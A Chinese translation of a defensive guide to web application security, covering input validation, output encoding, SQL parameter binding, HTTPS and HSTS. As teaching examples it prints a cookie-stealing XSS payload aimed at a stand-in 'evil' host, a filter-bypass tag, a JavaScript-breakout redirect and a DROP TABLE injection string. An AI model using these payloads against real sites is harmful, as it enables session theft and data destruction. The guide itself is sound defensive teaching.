網路應用安全的基礎
現代網頁開發面臨許多挑戰,其中安全性既非常重要又常常被低估。儘管威脅分析等技術越來越被認識為任何嚴肅開發工作的基本要素,但每位開發者都可以且應該作為一種慣例進行的一些基本實踐。
2017年1月5日
現代軟體開發者必須成為一種類似瑞士軍刀的存在。當然,你需要編寫符合客戶功能需求的程式碼。它需要快速。此外,你被期望編寫這些程式碼是易於理解和擴展的:足夠靈活以應對 IT 需求的演進性質,但又穩定可靠。你需要能夠設計出一個可用的介面,優化資料庫,並經常設置和維護交付管道。你需要能夠在昨天完成這些事情。
在需求清單的底部,比快速、便宜和靈活性更低的是「安全」。直到出現問題,直到你建立的系統受到破壞,安全才突然成為,並且一直是最重要的事情。
安全性是一個跨職能的關注點,有點像性能。但也有些不同。像性能一樣,我們的業務所有者通常知道他們需要安全性,但不總是確定如何量化它。與性能不同的是,他們通常看不到「足夠安全」。
那麼,開發者如何在模糊的安全性要求和未知的威脅中工作呢?倡導定義這些要求並識別這些威脅是一個值得的練習,但這需要時間,因此需要金錢。在大部分時間裡,開發者將在缺乏具體安全性要求的情況下操作,而他們的組織尋求引入安全性問題到需求收集過程中的方法,他們仍然會建立系統和編寫程式碼。
在這個進化出版物中,我們將
- 指出開發人員在網絡應用程序中需要特別注意安全風險的常見領域
- 提供針對常見網絡堆棧中每個風險如何應對的指南
- 突顯開發人員常犯的錯誤,以及如何避免它們
安全是一個龐大的主題,即使我們將範圍縮小到僅限於基於瀏覽器的 Web 應用程序。這些文章將更接近於“最佳範例”,而不是一個全面的目錄,涵蓋你需要知道的一切,但我們希望它將為那些試圖快速提升的開發人員提供一個指向性的第一步。
信任
在深入研究輸入和輸出的細節之前,值得提到安全的一個最關鍵的基本原則之一:信任。我們必須問自己:我們信任來自用戶瀏覽器的請求的完整性嗎?(提示:我們不信任)。我們信任上游服務是否已經做好了工作,使我們的數據乾淨且安全嗎?(提示:不是)。我們信任用戶瀏覽器和我們應用程序之間的連接不能被篡改嗎?(提示:不能完全...)。我們信任我們所依賴的服務和數據存儲嗎?(提示:可能...)
當然,像安全一樣,信任也不是二進制的,我們需要評估我們的風險容忍度、我們的數據的重要性以及我們需要投入多少資源來確保我們如何管理風險。為了以一種紀律的方式做到這一點,我們可能需要進行威脅和風險建模過程,但這是一個複雜的話題,需要在另一篇文章中討論。暫時,我們只需確定一系列對我們系統的風險,現在這些風險已經被確定,我們將不得不應對出現的威脅。
拒絕意外的表單輸入
HTML 表單可能會產生控制輸入的錯覺。表單標記的作者可能會認為,因為他們正在限制用戶在表單中輸入的值的類型,所以數據將符合這些限制。但可以放心,這僅僅是一種幻覺。即使是客戶端 JavaScript 表單驗證從安全的角度來看也沒有任何價值。
不受信任的輸入
在我們的信任尺度上,來自使用者瀏覽器的數據,無論我們是否提供表單,以及連接是否受到HTTPS保護,其有效性均為零。使用者可以非常容易地在發送之前修改標記,或使用像curl這樣的命令行應用程序提交意外的數據。或者,一個完全無辜的使用者可能會不知不覺地提交來自敵對網站的修改版表單。 同源政策無法防止敵對站點向您的表單處理端點提交。為了確保傳入數據的完整性,驗證需要在服務器上處理。
但為什麼格式錯誤的數據是一個安全問題呢?根據您的應用程序邏輯和輸出編碼的使用,您正在邀請意外行為的可能性,泄露數據,甚至為攻擊者提供一種將輸入數據的邊界轉化為可執行代碼的方法。
例如,想象一下我們有一個表單,其中包含一個單選按鈕,允許使用者選擇通信偏好。我們的表單處理代碼具有不同的行為,取決於這些值。
final String communicationType = req.getParameter("communicationType"); if ("email".equals(communicationType)) { sendByEmail(); } else if ("text".equals(communicationType)) { sendByText(); } else { sendError(resp, format("Can't send by type %s", communicationType)); }
這段代碼可能是危險的,也可能不是,這取決於sendError
方法的實現方式。我們信任下游邏輯正確處理不受信任的內容。它可能會。但也可能不會。如果我們可以完全消除意外控制流的可能性,我們會好得多。
那麼開發人員可以做些什麼來最大程度地減少不受信任的輸入對應用程序代碼產生不良影響的危險?輸入驗證就是答案。
輸入驗證
輸入驗證是確保輸入數據與應用程序期望一致的過程。落在預期值集之外的數據可能導致我們的應用程序產生意外結果,例如違反業務邏輯,觸發故障,甚至允許攻擊者控制資源或應用程序本身。在服務器上作為可執行代碼進行評估的輸入,例如數據庫查詢,或在客戶端作為HTML JavaScript執行的輸入尤其危險。驗證輸入是保護免受此風險影響的重要第一防線。
開發人員通常至少會使用一些基本的輸入驗證來構建應用程序,例如確保值為非空或整數為正。思考如何進一步將輸入限制為僅接受邏輯上可接受的值,是減少攻擊風險的下一步。
輸入驗證對於可以限制在一小組範圍內的輸入更有效。數值類型通常可以限制在特定範圍內的值。例如,要求使用者轉帳負金額或將數千項目添加到其購物車中是毫無意義的。將輸入限制為已知可接受類型的策略稱為正向驗證或白名單。白名單可以限制為特定形式的字符串,例如URL或日期格式為“yyyy/mm/dd”。它可以限制輸入長度,單個可接受的字符編碼,或者像上面的示例一樣,僅限於您表單中可用的值。
另一種思考輸入驗證的方式是,它是您的表單處理代碼與其使用者之間契約的執行。任何違反該契約的行為都是無效的,因此被拒絕。您的契約越具限制性,執行得越積極,您的應用程序遭受因未預期的條件而產生的安全漏洞的可能性就越小。
當輸入未通過驗證時,您將不得不做出選擇。最嚴格且可以說是最理想的是完全拒絕,不提供反饋,並確保通過日誌記錄或監控來注意該事件。但是為什麼不提供反饋?我們應該向用戶提供有關數據無效的信息嗎?這有點取決於您的契約。在上面的表單示例中,如果收到的任何值不是“email”或“text”,則可能存在問題:要麼是您有漏洞,要麼是您正在遭受攻擊。此外,反饋機制可能提供攻擊點。想像一下,sendError方法將文本寫回屏幕作為錯誤消息,例如“We're unable to respond with communicationType
”。如果communicationType是“carrier pigeon”那就沒問題,但如果它看起來像這樣呢?
<script>new Image().src = ‘http://evil.martinfowler.com/steal?' + document.cookie</script>
現在您面臨的是可能會竊取會話cookie的反射型XSS攻擊的可能性。如果您必須提供用戶反饋,最好使用不回顯不受信任的用戶數據的固定響應,例如“You must choose email or text”。如果您無法避免將用戶的輸入回顯給他們,請確保它已經得到適當的編碼(有關輸出編碼的詳細信息,請參見下文)。
實務中
嘗試過濾<script>
標記以防止此類攻擊可能很誘人。拒絕包含已知危險值的輸入是一種策略,稱為負向驗證或黑名單。此方法的問題在於可能的壞輸入數量非常多。維護完整的潛在危險輸入列表將是一項昂貴且耗時的工作。它還需要不斷進行維護。但有時這是您唯一的選擇,例如在自由格式輸入的情況下。如果必須使用黑名單,請非常小心地處理所有情況,編寫良好的測試,盡可能具有限制性,並參考OWASP的XSS Filter Evasion Cheat Sheet來了解攻擊者將使用的常見方法,以規避您的保護措施。
抵制誘惑過濾無效輸入的行為。這是一種常被稱為「消毒」的做法。它本質上是一個黑名單,會刪除不良輸入而不是拒絕它。與其他黑名單一樣,它很難正確使用,並為攻擊者提供更多逃避的機會。例如,在上述情況下,您選擇過濾掉 <script>
標記。攻擊者可以輕易地通過以下方式繞過它:
<scr<script>ipt>
即使您的黑名單抓住了攻擊,修復後您只是重新引入了漏洞。
大多數現代框架都內建了輸入驗證功能,當缺少此功能時,也可以在外部庫中找到它,這使開發人員能夠對每個字段應用多個約束條件作為規則。內建的常見模式驗證,如電子郵件地址和信用卡號碼,是一個有用的加分項目。使用您的 Web 框架的驗證功能提供了額外的優勢,將驗證邏輯推到 Web 層的極限,使得無效數據在到達複雜的應用程式代碼之前被拒絕,這樣關鍵性錯誤更容易發現。
框架 | 方法 |
---|---|
Java | Hibernate(Bean Validation) |
ESAPI | |
Spring | 在 Controller 中內建類型安全參數 |
內建的驗證器介面(Bean Validation) | |
Ruby on Rails | 內建的 Active Record 驗證器 |
ASP.NET | 內建驗證(參見 BaseValidator) |
Play | 內建驗證器 |
通用 JavaScript | xss-filters |
NodeJS | validator-js |
一般 | 應用程序輸入的基於正則表達式的驗證 |
總結
- 盡可能使用白名單
- 無法使用白名單時使用黑名單
- 使您的合約盡可能嚴格
- 確保您提醒可能的攻擊
- 避免將輸入反射回用戶
- 在網絡內容深入應用程序邏輯之前拒絕它,以最小化處理不受信任數據的方法,甚至更好的是,使用您的 Web 框架來白名單輸入
儘管本節重點是使用輸入驗證作為保護表單處理代碼的機制,但任何處理來自不受信任來源的輸入的代碼都可以以相同的方式進行驗證,無論消息是 JSON、XML 還是任何其他格式,而且無論是 Cookie、標頭還是 URL 參數字符串。請記住:如果您不能控制它,就不能信任它。如果它違反了合約,請拒絕它!
編碼HTML輸出
除了限制進入應用程序的數據之外,Web 應用程序開發人員還需要密切關注數據的輸出。現代 Web 應用程序通常具有基本的 HTML 標記用於文檔結構,CSS 用於文檔樣式,JavaScript 用於應用程序邏輯,以及用戶生成的內容,這些內容可能是任何一種。這都是文本。而且通常都會被渲染到同一個文檔中。
HTML 文檔實際上是一個由標記分隔的嵌套執行上下文集合,例如 <script>
或 <style>
。開發人員始終只差一個錯誤的角括號就會運行到一個完全不同的執行上下文中,而不是他們打算的執行上下文。當您在一個執行上下文中嵌入其他特定上下文的內容時,情況就更加複雜了。例如,HTML 和 JavaScript 都可以包含具有各自規則的 URL。
輸出風險
HTML 是一種非常寬容的格式。瀏覽器會盡力渲染內容,即使它格式不正確也是如此。這對開發者來說可能有利,因為壞掉的括號不會爆炸出錯誤,然而,壞形式的標記渲染是一個主要的漏洞來源。攻擊者有奢侈的能力將內容注入到您的頁面中,以突破執行上下文,而無需擔心頁面是否有效。
正確處理輸出不僅僅是一個安全問題。從數據庫和上游服務等來源渲染數據的應用程序需要確保內容不會破壞應用程序,但是當從不受信任的來源渲染內容時,風險尤其高。如前一節所述,開發者應拒絕超出合同範圍的輸入,但當我們需要接受包含可能改變我們代碼的字符的輸入時,例如單引號("'
")或開始括號("<
")時,我們該怎麼辦?這就是輸出編碼發揮作用的地方。
輸出編碼
輸出編碼是將發出的數據轉換為最終輸出格式。輸出編碼的複雜性在於,根據發出的數據將如何被使用,您需要不同的編解碼器。如果沒有適當的輸出編碼,應用程序可能提供其客戶端格式不正確的數據,使其無法使用,甚至更糟的是危險。發現編碼不足或不適當的攻擊者知道他們有一個潛在的漏洞,可能允許他們從開發者的意圖基本上改變輸出的結構。
例如,想像一下,一個系統的第一批客戶之一是前最高法院法官 Sandra Day O'Connor。如果將她的名字呈現為 HTML,會發生什麼情況?
<p>The Honorable Justice Sandra Day O'Connor</p>
呈現為
The Honorable Justice Sandra Day O'Connor
世界一切都正常。頁面按預期生成。但這可能是一個帶有模型/視圖/控制器架構的花哨的動態 UI。這些字符串也會出現在 JavaScript 中。當頁面將這些輸出到瀏覽器時,會發生什麼情況?
document.getElementById('name').innerText = 'Sandra Day O'Connor' //<--unescaped string
結果是畸形的JavaScript。這是駭客用來破解執行上下文並將無辜的數據轉化為危險可執行代碼的地方。如果首席法官輸入她的名字為
Sandra Day O';window.location='http://evil.martinfowler.com/';
突然間,我們的使用者被推向一個敵對的網站。然而,如果我們正確編碼 JavaScript 上下文的輸出,文本將看起來像這樣
'Sandra Day O\';window.location=\'http://evil.martinfowler.com/\';'
有點混亂,也許,但是一個完全無害的、不可執行的字符串。注意:有幾種編碼 JavaScript 的策略。這種特殊的編碼使用逃逸序列來表示撇號("\'
"),但也可以使用 Unicode 逃逸序列安全地表示("'
")。
好消息是,大多數現代 web 框架都有安全渲染內容並避免保留字符的機制。壞消息是,大多數這些框架都包含一個繞過此保護的機制,開發人員通常使用它們,要麼是因為無知,要麼是因為他們依賴它們來渲染他們認為安全的可執行代碼。
注意事項和注意事項
現在有很多工具和框架,以及很多編碼上下文(例如 HTML、XML、JavaScript、PDF、CSS、SQL 等),製作一個全面的清單是不可行的,但是以下是一個關於在一些常見框架中編碼 HTML 使用和避免的起點。
如果您使用的是另一個框架,請檢查安全輸出編碼函數的文檔。如果框架沒有它們,請考慮更換框架到具有此功能的框架,否則您將不得不自己創建輸出編碼代碼,這是一個令人不快的任務。還要注意,僅因為一個框架安全地渲染 HTML,並不意味著它會安全地渲染 JavaScript 或 PDF。您需要了解特定上下文的編碼工具是為哪個編碼而編寫的。
請注意:您可能會嘗試在存儲之前對原始用戶輸入進行編碼。這種模式通常會在以後給您帶來麻煩。如果您在存儲之前將文本編碼為 HTML,如果您需要以其他格式渲染數據,可能會遇到問題:它會迫使您將 HTML 解碼,然後重新編碼為新的輸出格式。這增加了很多復雜性,並鼓勵開發人員在其應用程序代碼中編寫解碼內容的代碼,從而使所有棘手的上游輸出編碼實際上無效。最好在呈現時以最原始的形式存儲數據,然後處理編碼。
最後,值得注意的是,嵌套的呈現上下文會增加大量的復雜性,在可能的情況下應該避免使用。單個輸出字符串已經夠難了,但是當您在 JavaScript 中的 HTML 中呈現 URL 時,您有三個上下文要擔心一個字符串。如果絕對無法避免嵌套上下文,請確保將問題分解為單獨的階段,徹底測試每個階段,特別注意渲染順序。OWASP 在 DOM 基礎的 XSS 預防欺騙表中為這種情況提供了一些指導。
框架 | 編碼 | 危險 |
---|---|---|
通用 JS | innerText | innerHTML |
JQuery | text() | html() |
HandleBars | {{variable}} | {{{variable}}} |
ERB | <%= variable %> | raw(variable) |
JSP | <c:out value="${variable}"> 或 ${fn:escapeXml(variable)} | ${variable} |
Thymeleaf | th:text="${variable}" | th:utext="${variable}" |
Freemarker | ${variable} (在 escape 指令中) | <#noescape> 或 ${variable} 沒有 escape 指令 |
Angular | ng-bind | ng-bind-html (1.2 之前以及當 sceProvider 被禁用時) |
總結
- 在輸出時對所有應用數據進行編碼,使用適當的編碼器
- 如果可用,使用您的框架的輸出編碼能力
- 盡可能避免嵌套渲染上下文
- 以原始形式存儲您的數據,並在渲染時進行編碼
- 避免使用避免編碼的不安全框架和 JavaScript 調用
為數據庫查詢綁定參數
無論您是對關係數據庫編寫 SQL,使用對象關係映射框架,還是查詢 NoSQL 數據庫,您可能需要關心輸入數據如何在查詢中使用。
數據庫通常是任何 Web 應用程序中最重要的部分,因為它包含無法輕易恢復的狀態。它可能包含必須受到保護的關鍵和敏感客戶信息。它是驅動應用程序並運行業務的數據。因此,您期望開發人員在與其數據庫交互時要非常小心,然而,注入到數據庫層仍然繼續困擾現代 Web 應用程序,即使防止它相對輕鬆!
小波比的表格
沒有討論參數綁定的話題是完整的,而不包括 xkcd 的 2007 年 "Little Bobby Tables" 問題
為了分解這幅漫畫,想像一下負責跟蹤成績的系統有一個用於添加新學生的函數
void addStudent(String lastName, String firstName) { String query = "INSERT INTO students (last_name, first_name) VALUES ('" + lastName + "', '" + firstName + "')"; getConnection().createStatement().execute(query); }
如果 addStudent 被調用並帶有參數 "Fowler"、"Martin",則生成的 SQL 是
INSERT INTO students (last_name, first_name) VALUES ('Fowler', 'Martin')
但使用 Little Bobby 的名字時,將執行以下 SQL
INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert’); DROP TABLE Students;-- ')
事實上,執行了兩個命令
INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert') DROP TABLE Students
最後的 "--" 註釋掉原始查詢的其餘部分,確保 SQL 語法有效。 Et voila,DROP 就執行了。此攻擊向量允許用戶在應用程序的數據庫用戶的上下文中執行任意 SQL。換句話說,攻擊者可以做任何應用程序可以做的事情,並且可能導致比 DROP 更大的傷害,包括違反數據完整性、暴露敏感信息或插入可執行代碼。稍後我們將討論將不同的用戶定義為第二防禦層,以防止這種錯誤,但就目前而言,有一種非常簡單的應用程序級策略可以最小化注入風險。
參數綁定解救
與駭客媽媽的解決方案爭論,消毒是非常難以做到的,會創建新的潛在攻擊向量,絕對不是正確的方法。您最好的選擇,也可以說是唯一合適的選擇是參數綁定。例如,JDBC 提供了用於此目的的 PreparedStatement.setXXX() 方法。參數綁定提供了一種將可執行代碼(例如 SQL)與內容分開的手段,透明地處理內容編碼和轉義。
void addStudent(String lastName, String firstName) { PreparedStatement stmt = getConnection().prepareStatement("INSERT INTO students (last_name, first_name) VALUES (?, ?)"); stmt.setString(1, lastName); stmt.setString(2, firstName); stmt.execute(); }
任何完整的資料存取層都應具備將變數綁定並將實作延遲至底層協議的能力。這樣,開發者就不需要理解混合使用者輸入和可執行代碼所帶來的複雜性。為了使這有效,所有不受信任的輸入都需要被綁定。如果 SQL 是通過串接、插值或格式化方法構建的,則結果字符串中的任何部分都不應由使用者輸入創建。
乾淨和安全的程式碼
有時我們會遇到好安全性和清晰代碼之間存在緊張關係的情況。安全性有時需要程序員增加一些複雜性來保護應用程序。但在這種情況下,我們有一個幸運的情況,好安全性和好設計是一致的。除了保護應用程序免受注入的攻擊之外,引入綁定參數通過提供代碼和內容之間清晰界限,增強了可理解性,並通過消除手動管理引號的需要,簡化了創建有效 SQL 的過程。
當您引入參數綁定來替換字符串格式化或串接時,您可能還會找到機會將通用的綁定函數引入代碼中,進一步提升代碼的清晰性和安全性。這突顯了另一個好設計和好安全性重疊的地方:去重複導致額外的可測試性,並減少了複雜性。
常見誤解
有一個誤解,即存儲過程可以防止 SQL 注入,但這僅在參數在存儲過程內被綁定的情況下才成立。如果存儲過程本身進行字符串串接,它也可能受到注入攻擊的影響,並且從客戶端綁定變數也無法保護您。
同樣,像 ActiveRecord、Hibernate 或 .NET Entity Framework 這樣的物件關聯映射框架,除非您使用綁定函數,否則不會保護您。如果您在不使用綁定的情況下使用不受信任的輸入來構建查詢,應用程序仍然可能受到注入攻擊的影響。
有關存儲過程和 ORM 的注入風險的更多詳細信息,請參見安全分析師 Troy Hunt 的文章 "存儲過程和 ORM 不會拯救你免受 SQL 注入攻擊"。
最後,有一個誤解是 NoSQL 資料庫不容易受到注入攻擊,這是不正確的。所有查詢語言,包括 SQL 或其他語言,都需要清晰區分可執行的程式碼和內容,以防止執行時混淆命令和參數。攻擊者尋找在執行時可以突破這些界限並使用輸入數據改變預期執行路徑的點。即使是使用二進制線路協議和特定語言 API 的 Mongo DB,也會暴露出易受注入攻擊的 "$where" 運算子,正如在 OWASP 測試指南的文章中所示。結論是您需要檢查資料存儲和驅動程式文件以找到處理輸入數據的安全方法。
參數綁定功能
查看下面的矩陣,以了解您所選擇的資料存儲的安全綁定函數的指示。如果未包含在此列表中,請查閱產品文檔。
框架 | 編碼 | 危險 |
---|---|---|
原生 JDBC | Connection.prepareStatement() 與所有輸入使用 setXXX() 方法和綁定參數。 | 使用字符串串接而不是綁定的任何查詢或更新方法。 |
PHP / MySQLi | 對所有輸入使用 prepare() 與 bind_param。 | 使用字符串串接而不是綁定的任何查詢或更新方法。 |
MongoDB | 基本的 CRUD 操作,如 find(),insert(),其 BSON 文件字段名由應用程序控制。 | 操作,包括 find,在字段名允許由不受信任的數據或使用允許任意 JavaScript 條件的 Mongo 操作(例如 "$where")確定時。 |
Cassandra | 對所有輸入使用 Session.prepare 與 BoundStatement 和綁定參數。 | 使用字符串串接而不是綁定的任何查詢或更新方法。 |
Hibernate / JPA | 使用綁定參數通過 setParameter 的 SQL 或 JPQL/OQL。 | 使用字符串串接而不是綁定的任何查詢或更新方法。 |
ActiveRecord |
如果與哈希或綁定參數一起使用,則使用條件函數(find_by,where),例如
where (foo: bar) where ("foo = ?", bar) |
使用字符串串接或插值的條件函數
where("foo = '#{bar}'") where("foo = '" + bar + "'") |
總結
- 避免從用戶輸入構建 SQL(或等效的 NoSQL)
- 綁定所有參數化數據,包括查詢和存儲過程
- 使用本地驅動程序綁定函數,而不是嘗試自行處理編碼
- 不要認為存儲過程或 ORM 工具會保護您。對於這些情況,您也需要使用綁定函數
- NoSQL 並不能使您免於注入攻擊
保護傳輸中的資料
當我們談到輸入和輸出時,還有另一個重要考慮因素:在傳輸中的數據的隱私和完整性。當使用普通的 HTTP 連接時,用戶會面臨許多風險,這是因為數據以明文形式傳輸。攻擊者能夠在用戶瀏覽器和服務器之間的任何位置截取網絡流量,進行中間人攻擊時,完全不被察覺地竊聽或甚至篡改數據。攻擊者可以做任何事情,包括竊取用戶的會話或其個人信息,注入會由瀏覽器在網站上下文中執行的惡意代碼,或者更改用戶發送到服務器的數據。
我們通常無法控制使用者所選擇的網路。他們很可能使用的是任何人都能輕易觀察其流量的網路,例如在咖啡廳或飛機上的開放式無線網路。他們可能不知情地連接到由攻擊者在公共場所設置的類似「免費Wi-Fi」的敵對無線網路。他們可能正在使用一個會將廣告等內容注入其網路流量的網路供應商,或者甚至身處一個政府經常對其公民進行監視的國家。
如果攻擊者能夠竊聽使用者或篡改網路流量,則一切皆不保。所交換的數據對雙方都不可信任。幸運的是,我們可以通過HTTPS來防範許多這些風險。
HTTPS和傳輸層安全性
HTTPS最初主要用於保護敏感的網路流量,如金融交易,但現在我們日常使用的許多網站都會預設使用它,例如社交網絡和搜索引擎。HTTPS協議使用傳輸層安全性(TLS)協議,這是安全套接層(SSL)協議的後續版本,用於保護通信。當正確配置和使用時,它提供了防竊聽和篡改的保護,以及一個合理的保證,即網站是我們打算使用的網站。或者,更多技術術語上來說,它提供了機密性和數據完整性,以及對網站身份的驗證。
面對我們所面臨的許多風險,將所有網路流量視為敏感並對其進行加密愈發合理。在處理網路流量時,這是通過使用HTTPS來實現的。幾家瀏覽器製造商已宣布他們打算棄用非安全的HTTP,甚至向用戶顯示視覺提示,警告他們網站未使用HTTPS。大多數瀏覽器中的HTTP/2實現將僅支持通過TLS進行通信。那麼為什麼我們現在還沒有將其用於所有情況?
有一些障礙阻礙了HTTPS的採用。很長一段時間以來,它被認為對於所有流量而言成本過高,但是隨著現代硬件的出現,這已經不再是個問題。SSL協議和TLS協議的早期版本僅支持每個IP地址使用一個網站證書,但是在TLS中引入了一個稱為SNI(Server Name Indication)的協議擴展,這一限制現已被解除,並且現在大多數瀏覽器都支持它。從證書機構獲取證書的成本也阻礙了採用,但是像Let's Encrypt這樣的免費服務的推出消除了這一障礙。如今,障礙比以往任何時候都要少。
獲取伺服器證書
驗證網站身份的能力是 TLS 安全的基礎。如果無法驗證網站是否真的就是它自己聲稱的身份,一個能夠進行中間人攻擊的攻擊者可能會冒充該網站,從而破壞該協議提供的任何其他保護。
在使用 TLS 時,網站通過使用公開金鑰證書來證明其身份。該證書包含有關網站的信息以及一個用於證明該網站擁有該證書的所有者的公開金鑰,該網站使用相應的僅自己知道的私有金鑰來執行此操作。在某些系統中,可能還需要客戶端使用證書來證明其身份,儘管由於管理客戶端證書的複雜性,這在實踐中相對較少見。
除非事先已知一個網站的證書,否則客戶端需要某種方式來驗證該證書是否可信。這是基於一種信任模型完成的。在 Web 瀏覽器和許多其他應用程序中,依賴一個受信任的第三方(稱為證書授權機構,CA)來驗證網站的身份,有時也驗證擁有該網站的組織,然後向該網站簽發一個已簽名的證書,以證明已對其進行驗證。
如果可以通過其他途徑共享證書,則不一定需要涉及受信任的第三方。例如,移動應用程序或其他應用程序可以分發帶有證書或有關將用於驗證網站身份的自定義 CA 的信息。這個做法被稱為證書或公鑰固定,不在本文的範圍之內。
許多 Web 瀏覽器顯示的安全性最明顯的指示是當與網站的通信使用 HTTPS 並且證書是可信的時候。如果沒有,瀏覽器將顯示有關證書的警告並防止用戶查看您的網站,因此從受信任的 CA 獲得證書非常重要。
您可以生成自己的證書來測試 HTTPS 配置,但在向用戶公開服務之前,您需要獲得受信任 CA 簽名的證書。對於許多用途來說,免費的 CA 是一個很好的起點。在尋找 CA 時,您會遇到不同級別的認證。最基本的是域驗證(DV),它證明了證書的所有者控制著一個域。更昂貴的選擇是組織驗證(OV)和擴展驗證(EV),這涉及到 CA 做額外的檢查來驗證請求證書的組織。儘管更高級的選擇會在瀏覽器中產生更積極的視覺安全指示,但對於許多人來說,額外的成本可能不值得。
設定您的伺服器
擁有證書後,您可以開始配置您的服務器以支持 HTTPS。乍一看,這可能看起來像是一個需要擁有博士學位的人才能完成的任務。您可能希望選擇一個支持各種瀏覽器版本的配置,但您需要在提供高水平安全性和保持一定性能水平之間取得平衡。
網站支援的加密算法和協定版本對其提供的通信安全性有著很大的影響。像 FREAK、DROWN 和 POODLE 這樣聽起來很厲害的攻擊,已經向我們表明支援過時的協定版本和算法存在風險,因為這會讓瀏覽器被誘導使用伺服器支援的最弱選項,使攻擊變得更容易。隨著計算能力的提升以及我們對算法背後數學的理解,它們也變得越來越不安全。我們如何在保持最新狀態的同時,確保我們的網站仍然兼容可能使用僅支援舊協定版本和算法的舊瀏覽器的廣泛用戶群呢?
幸運的是,有一些工具可以幫助我們更輕鬆地進行選擇。Mozilla 提供了一個有用的SSL配置生成器,可以為各種Web伺服器生成推薦的配置,以及一個相關的伺服器端TLS指南,其中包含更詳盡的細節。
請注意,上述提及的配置生成器默認啟用了一個名為HSTS的瀏覽器安全功能,這可能會在您準備長期使用HTTPS進行所有通信之前造成問題。我們稍後會在本文中討論HSTS。
對所有事情使用HTTPS
在某些情況下,我們可能會遇到僅使用HTTPS來保護部分提供的資源的網站。有時,此保護可能僅擴展到處理被認為是敏感的表單提交。其他時候,可能僅用於被認為是敏感的資源,例如用戶在登錄站點後可能訪問的資源。
這種不一致的方法存在問題,因為沒有使用HTTPS的任何內容仍然容易受到之前概述的各種風險的影響。例如,進行中間人攻擊的攻擊者可以簡單地修改上面提到的表單,以明文HTTP提交敏感數據。如果攻擊者注入的可執行代碼將在我們站點的上下文中執行,那麼使用HTTPS來保護一部分內容就沒有多大意義了。防止這些風險的唯一方法是對所有內容使用HTTPS。
解決方案並不像打開一個開關並將所有資源都以 HTTPS 提供那麼簡單。當使用者在位址列輸入地址時,瀏覽器預設使用 HTTP,而不會明確輸入 "https://"。因此,僅關閉 HTTP 網路埠通常不是一個選項。網站通常會將收到的 HTTP 請求重新導向到使用 HTTPS,這或許不是理想的解決方案,但通常是最好的解決方案。
對於將被 Web 瀏覽器訪問的資源,採用將所有 HTTP 請求重新導向到這些資源的政策是使用 HTTPS 一致的第一步。例如,在 Apache 中,通過幾行簡單的代碼可以將所有請求重定向到一個路徑(在此示例中是 /content 及其下的所有資源)。
# Redirect requests to /content to use HTTPS (mod_rewrite is required) RewriteEngine On RewriteCond %{HTTPS} != on [NC] RewriteCond %{REQUEST_URI} ^/content(/.*)? RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]
如果您的網站還在使用 HTTP 提供 API,那麼切換到使用 HTTPS 可能需要更謹慎的方法。並非所有的 API 客戶端都能處理重新導向。在這種情況下,建議與 API 的使用者合作切換到使用 HTTPS,並計劃一個截止日期,然後在到達日期後開始對 HTTP 請求做出錯誤回應。
使用HSTS
將使用者從 HTTP 重新導向到 HTTPS 所存在的風險與發送到普通 HTTP 的任何其他請求一樣。為了應對這個挑戰,現代瀏覽器支持一個強大的安全功能,稱為 HSTS(HTTP 嚴格傳輸安全性),它允許網站要求瀏覽器僅通過 HTTPS 與其交互。它最初是在 2009 年作為對 Moxie Marlinspike 的著名 SSL 剝奪攻擊的回應而提出的,該攻擊展示了在 HTTP 上提供內容的危險性。啟用它就像在響應中發送一個標頭一樣簡單。
Strict-Transport-Security: max-age=15768000
上述標頭指示瀏覽器在六個月的時間內(以秒為單位)僅使用 HTTPS 與該站點互動。由於它所實施的嚴格政策,HSTS 是一個重要的功能。一旦啟用,即使出現錯誤或使用者明確地在地址欄中輸入 "http://",瀏覽器也會自動將任何不安全的 HTTP 請求轉換為使用 HTTPS。它還指示瀏覽器禁止使用者繞過當加載站點時遇到無效證書時顯示的警告。
除了在瀏覽器中啟用起來不需要太多努力外,還在伺服器端啟用 HSTS 可能只需要一行配置。例如,在 Apache 中,通過在端口 443 的 VirtualHost 配置中添加一個 Header
指令就可以啟用它。
<VirtualHost *:443> ... # HSTS (mod_headers is required) (15768000 seconds = 6 months) Header always set Strict-Transport-Security "max-age=15768000" </VirtualHost>
現在您已經了解了普通 HTTP 所固有的一些風險,您可能會想知道在啟用 HSTS 之前首次使用 HTTP 向網站發出請求時會發生什麼。為了應對這種風險,一些瀏覽器允許將網站添加到 "HSTS 預加載列表" 中,該列表包含在瀏覽器中。一旦包含在此列表中,將不再可能通過 HTTP 訪問該網站,即使在瀏覽器第一次與該站點交互時也是如此。
在決定啟用 HSTS 之前,必須先考慮一些潛在的挑戰。大多數瀏覽器將拒絕從 HTTPS 資源引用的 HTTP 內容,因此重要的是更新現有資源並驗證所有資源都可以使用 HTTPS 存取。我們並不總是能控制外部系統中的內容如何載入,例如廣告網絡。這可能需要我們與外部系統的擁有者合作採用 HTTPS,甚至可能需要暫時設置代理以通過 HTTPS 將外部內容提供給我們的用戶,直到外部系統得到更新。
一旦啟用了 HSTS,直到標頭中指定的期間過去之前,就無法禁用它。建議在為您的網站啟用它之前確保所有內容都可以使用 HTTPS。從 HSTS 預加載列表中刪除域名將需要更長的時間。將您的網站添加到預加載列表的決定不應輕率對待。
不幸的是,今天使用的並非所有瀏覽器都支援 HSTS。它還不能被視為對所有用戶實施嚴格政策的保證方法,因此繼續將用戶從 HTTP 重定向到 HTTPS,並採用本文提到的其他保護措施非常重要。有關 HSTS 的瀏覽器支援詳細信息,您可以訪問 Can I use。
保護Cookie
瀏覽器具有一個內建的安全功能,可以幫助避免洩漏包含敏感信息的 Cookie。在 Cookie 中設置 "secure" 標誌將指示瀏覽器僅在使用 HTTPS 時發送 Cookie。即使啟用了 HSTS,這也是一個重要的防護措施。
其他風險
儘管使用了 HTTPS,仍然需要注意一些其他風險,可能會導致敏感信息的意外洩漏。
將敏感數據放在 URL 中是危險的。這樣做可能會導致 URL 被瀏覽器歷史記錄緩存,更不用說如果它被記錄在服務器端的日誌中。此外,如果 URL 中的資源包含指向外部站點的鏈接且用戶點擊,則敏感數據將在引薦頭中洩漏。
此外,即使啟用了 HSTS,敏感數據仍可能被客戶端緩存,或者被中間代理緩存,如果客戶端的瀏覽器配置為使用它們並允許它們檢查 HTTPS 流量。對於普通用戶,流量的內容對代理是不可見的,但我們常見的企業實踐是在員工系統上安裝自定義 CA,以便他們的威脅防範和合規系統可以監控流量。考慮使用標頭來禁用緩存以減少由於緩存導致數據洩漏的風險。
